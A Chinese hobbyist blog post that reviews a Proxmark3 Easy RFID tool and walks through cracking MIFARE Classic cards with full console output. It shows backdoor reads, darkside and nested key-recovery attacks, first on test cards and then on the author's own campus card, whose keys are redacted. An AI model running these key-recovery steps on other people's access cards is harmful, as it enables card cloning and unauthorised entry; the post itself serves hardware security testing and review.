RFID系列:Proxmark3 Easy开箱、使用体验、测试

一、写在前面

终于啊终于,我前几天以378元的巨资买下了一个Proxmark3。

都说Proxmark是RFID界的瑞士军刀,让我来看看它能做些什么。

二、开箱

一款射频识别工具

话说买这种东西基本都会有一个盒子吧。

好,让我们打开看看里面有什么东西。

这就是本体了,和网上的差不多。

数据线,商家还送了几张卡。虽然我现在都是用手机和变色龙模拟来当卡用了。。。

正面

Micro USB?很难想象在2025的今天连变色龙都用上Type-C的情况下还能见到这种接口。。。

接口的右边有ABCD四个指示灯,进行破解工作时会闪烁。

侧面还有一个Micro USB和一个按钮,为了防止图多影响观感就不放了。

三、软件

目前,官方主流的方法是使用它们的控制台软件,就是要打命令。

与此同时,还有一些基于官方软件的GUI软件,我这里放几张图。

这个软件是开源免费的,基本使用也够了。

还有一种是在商家买的时候选择带软件的付费软件。

其实这两种软件都是基于官方的控制台程序,只不过在易用性和服务器网络密钥上,付费的更胜一筹。

三、使用

因为商家还没有给我付费软件的账号权限,所以我先用开源GUI来演示。

我们先拿一张卡放上去,点击”读卡信息“。

[usb|script] pm3 --> hf 14a info -nsv

[=] --- ISO14443-a Information---------------------
[+]  UID: 35 D5 D4 E9 
[+] ATQA: 00 04
[+]  SAK: 08 [2]
[+] Possible types:
[+]    MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Magic capabilities : Gen 1a
[+] Prng detection: weak
[=] Checking for NACK bug
[=] .........
[#] Auth error
[?] Hint: try `hf mf` commands

可以看到,软件是把命令交给控制台程序运行的。

根据上面的输出,PM3知道这是一张UID卡,即Gen 1a,带后门指令。

[usb|script] pm3 --> hf mf cgetsc --sec 0

[=]   # | sector 00 / 0x00                                | ascii
[=] ----+-------------------------------------------------+-----------------
[=]   0 | 35 D5 D4 E9 DD 08 04 00 01 7E D6 50 BE CB BB 1D | 5........~.P....
[=]   1 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 
[=]   2 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ 
[=]   3 | FF FF FF FF FF FF FF 07 80 69 FF FF FF FF FF FF | .........i......

后门指令读卡。

接下来,我们测试一下半加密卡和全加密卡。

为了测试,我让cladue写了一款小工具,可以快速生成随机的半加密卡或全加密卡的dump,并且符合BCC标准。

我们先来测试一下全加密卡的一种情况,KeyA等于KeyB。

这里我用一张CUID卡进行测试,我们试试读卡信息。

[usb|script] pm3 --> hf 14a info -nsv

[=] --- ISO14443-a Information---------------------
[+]  UID: BE 10 FC 1A 
[+] ATQA: 42 A7
[+]  SAK: 08 [2]
[+] Possible types:
[+]    MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[+] Prng detection: weak
[=] Checking for NACK bug
[=] ...
[!] detection failed
[#] Auth error
[?] Hint: try `hf mf` commands

好吧,没有NACK bug,PM3只拿到了卡号等基本信息。

让我们试试Darkside攻击。

[usb|script] pm3 --> hf mf darkside
[=] Expected execution time is about 25seconds on average
[=] Press pm3-button to abort

[=] Running darkside ..[-] card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
[-] generating polynomial with 16 effective bits only, but shows unexpected behaviour

Darkside也没辙。

看来我们只能把希望寄托于nested了,即所谓的知一求全。

假设我们通过嗅探或者变色龙得到了其中一个密钥,一般是0扇区的KeyA。

想知道变色龙具体的可以看看这篇。

da2dfca6a8e4

如果嗅探成功,我们就得到了这个密钥,现在把这个密钥给软件。

然后点击Nested攻击。

[usb|script] pm3 --> hf mf nested --1k --blk 0 -a -k DA2DFCA6A8E4
[+] Testing known keys. Sector count 16
[=] ....
[=] Chunk 9.7s | found 2/32 keys (57)
[+] Time to check 56 known keys: 10 seconds

[+] enter nested key recovery
[+] Found 5 key candidates

[\]     0/5 keys |  25.3 keys/sec | worst case    0.2 seconds remaining
[+] Target block    4 key type A

[+] Found 8 key candidates

[|]     0/8 keys |  58.8 keys/sec | worst case    0.1 seconds remaining
[+] Target block    4 key type A

[+] Found 1 key candidates

[+] Target block    4 key type A -- found valid key [ 722608405B78 ]

[=] Chunk 0.5s | found 2/32 keys (1)
[+] Found 1 key candidates

[+] Target block    8 key type A -- found valid key [ E4CB5C73EA8A ]

...

[=] Chunk 0.5s | found 2/32 keys (1)
[+] time in nested 28 seconds

[=] trying to read key B...

[+] found keys:

[+] -----+-----+--------------+---+--------------+----
[+]  Sec | Blk | key A        |res| key B        |res
[+] -----+-----+--------------+---+--------------+----
[+]  000 | 003 | DA2DFCA6A8E4 | 1 | DA2DFCA6A8E4 | 1
[+]  001 | 007 | 722608405B78 | 1 | 722608405B78 | 1
[+]  002 | 011 | E4CB5C73EA8A | 1 | E4CB5C73EA8A | 1
[+]  003 | 015 | EF1EF996988F | 1 | EF1EF996988F | 1
[+]  004 | 019 | 98A28A57D015 | 1 | 98A28A57D015 | 1
[+]  005 | 023 | BCD22E4BDA61 | 1 | BCD22E4BDA61 | 1
[+]  006 | 027 | 50D5F917733E | 1 | 50D5F917733E | 1
[+]  007 | 031 | 3670AB53B611 | 1 | 3670AB53B611 | 1
[+]  008 | 035 | 78748D02FA55 | 1 | 78748D02FA55 | 1
[+]  009 | 039 | CD570237F295 | 1 | CD570237F295 | 1
[+]  010 | 043 | 087588D4DEAE | 1 | 087588D4DEAE | 1
[+]  011 | 047 | ACE8E07AEF28 | 1 | ACE8E07AEF28 | 1
[+]  012 | 051 | 35FA43FA4B78 | 1 | 35FA43FA4B78 | 1
[+]  013 | 055 | 6DB0F7C02CB4 | 1 | 6DB0F7C02CB4 | 1
[+]  014 | 059 | 26F770E02EF8 | 1 | 26F770E02EF8 | 1
[+]  015 | 063 | E51D6AA58610 | 1 | E51D6AA58610 | 1
[+] -----+-----+--------------+---+--------------+----
[+] ( 0:Failed / 1:Success )

UNLOCK!

然后软件会自动帮我们把密钥填充。

如果KeyA和KeyB不一致呢?Nested还有用吗?

让我们试一下。

值得一提的是,PM3的写卡速度似乎比PCR532慢一些。

写下这段文字的同时,正好商家告诉我,我的账号有权限了,现在我换到付费软件看看。

付费软件的缺点就是点击一键解析后会强行darkside,结果就是等了几十分钟什么都没有。。。

即使KeyA和KeyB不一致,也可以nested。

这个付费软件感觉反而有点难上手了,我还是换到开源GUI吧。。。

全加密卡的测试我们已经实验完了,让我们看看实战使用的效果。

四、实战

从此处开始,卡片的UID、Key等信息将会被替换抹除以规避隐私风险

接下来,我试试我的校园卡,看看PM3会不会检测到什么。

[usb|script] pm3 --> hf 14a info -nsv

[=] --- ISO14443-a Information---------------------
[+]  UID: -.- / -.- / -.- / -.- 
[+]  ATQA: 00 04
[+]  SAK: 28 [1]
[+] Possible types:
[+]    SmartMX with MIFARE Classic 1K
[=] -------------------------- ATS --------------------------
[+] ATS: 10 78 80 90 02 20 90 00 00 00 00 00 -.- / -.- [ FC 00 ]
[=]      10...............  TL    length is 16 bytes
[=]         78............  T0    TA1 is present, TB1 is present, TC1 is present, FSCI is 8 (FSC = 256)
[=]            80.........  TA1   different divisors are NOT supported, DR: [], DS: []
[=]               90......  TB1   SFGI = 0 (SFGT = (not needed) 0/fc), FWI = 9 (FWT = 2097152/fc)
[=]                  02...  TC1   NAD is NOT supported, CID is supported

[=] -------------------- Historical bytes --------------------
[+]   209000000000009E-C7-2D-79

[=] -------------------- AID Search --------------------
[+] Application ( ok )
[+] Input AID..... 31-50-41-59-2E-53-59-53-2E-44-44-46-30-31
[+] Found AID..... 31-50-41-59-2E-53-59-53-2E-44-44-46-30-31
[+] Vendor........ EMV
[+] Name.......... EMV Payment System Environment - PSE (1PAY.SYS.DDF01)
[+] Country....... United States
[=] (DF) Name found and equal to AID
[+] ----------------------------------------------------
[+] Prng detection: weak
[=] Checking for NACK bug
[=] ...
[+] NACK test: always leak NACK
[#] Auth error
[?] Hint: try `hf mf` commands
[?] Hint: try `emv search -s`
#敏感信息已删减

居然有这么多的信息,看来有些搞头。

老规矩,先试试darkside。

[usb|script] pm3 --> hf mf darkside
[=] Expected execution time is about 25seconds on average
[=] Press pm3-button to abort

[=] Running darkside .
[+] Parity is all zero. Most likely this card sends NACK on every authentication.
[-] No candidates found, trying again

[=] Running darkside .
[-] No candidates found, trying again

[=] Running darkside .
[+] found 25 candidate keys
[+] found valid key: ;::."_",>:/<
[+] time in darkside 5 seconds

???居然成功了?darkside最有用的一集。

一般来说,darkside应该都是0扇区的keyA,试一下。

[usb|script] pm3 --> hf mf nested --1k --blk 0 -a -k ............

[+] Testing known keys. Sector count 16
[=] .
[=] Chunk 2.5s | found 26/32 keys (57)
[+] Time to check 56 known keys: 2 seconds

[+] enter nested key recovery

[+] Target block   12 key type A

[+] Found 1 key candidates

[+] Target block   12 key type A -- found valid key [ ............ ]

[=] Chunk 0.4s | found 2/32 keys (1)
[+] Found 1 key candidates

[+] Target block   32 key type A -- found valid key [ ............ ]

[=] Chunk 0.5s | found 4/32 keys (1)
[+] time in nested 5 seconds

[=] trying to read key B...

[+] found keys:

[+] -----+-----+--------------+---+--------------+----
[+]  Sec | Blk | key A        |res| key B        |res
[+] -----+-----+--------------+---+--------------+----
[+]  000 | 003 | ............ | 1 | ............ | 1
[+]  001 | 007 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  002 | 011 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  003 | 015 | ............ | 1 | ............ | 1
[+]  004 | 019 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  005 | 023 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  006 | 027 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  007 | 031 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  008 | 035 | ............ | 1 | ............ | 1
[+]  009 | 039 | ............ | 1 | ............ | 1
[+]  010 | 043 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  011 | 047 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  012 | 051 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  013 | 055 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  014 | 059 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+]  015 | 063 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
[+] -----+-----+--------------+---+--------------+----
[+] ( 0:Failed / 1:Success )

是一张半加密卡,看来校园卡的安全性有待提高。

其实darkside攻击是基于nack漏洞的,因为一开始就提示了,这张卡每次都会发送NACK。

[usb|script] pm3 --> hf mf nack
[=] Checking for NACK bug
[=] ...
[+] NACK test: always leak NACK

好吧,看来比PCR532的优点就是可以探测更多的信息。

五、嗅探

嗅探我现在还没有条件测试,因为我的卡都是有漏洞,或者不加密的。可能我要再找个时间另外测试。

六、最后(工具下载)

好吧,这个东西的性价比我感觉不如PCR532那些。

也可能是我没有把这个设备用到精髓。

下个月我找个时间写一下PCR532的设备。

工具我放在[RFID系列]的首页了,可以去看一下。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇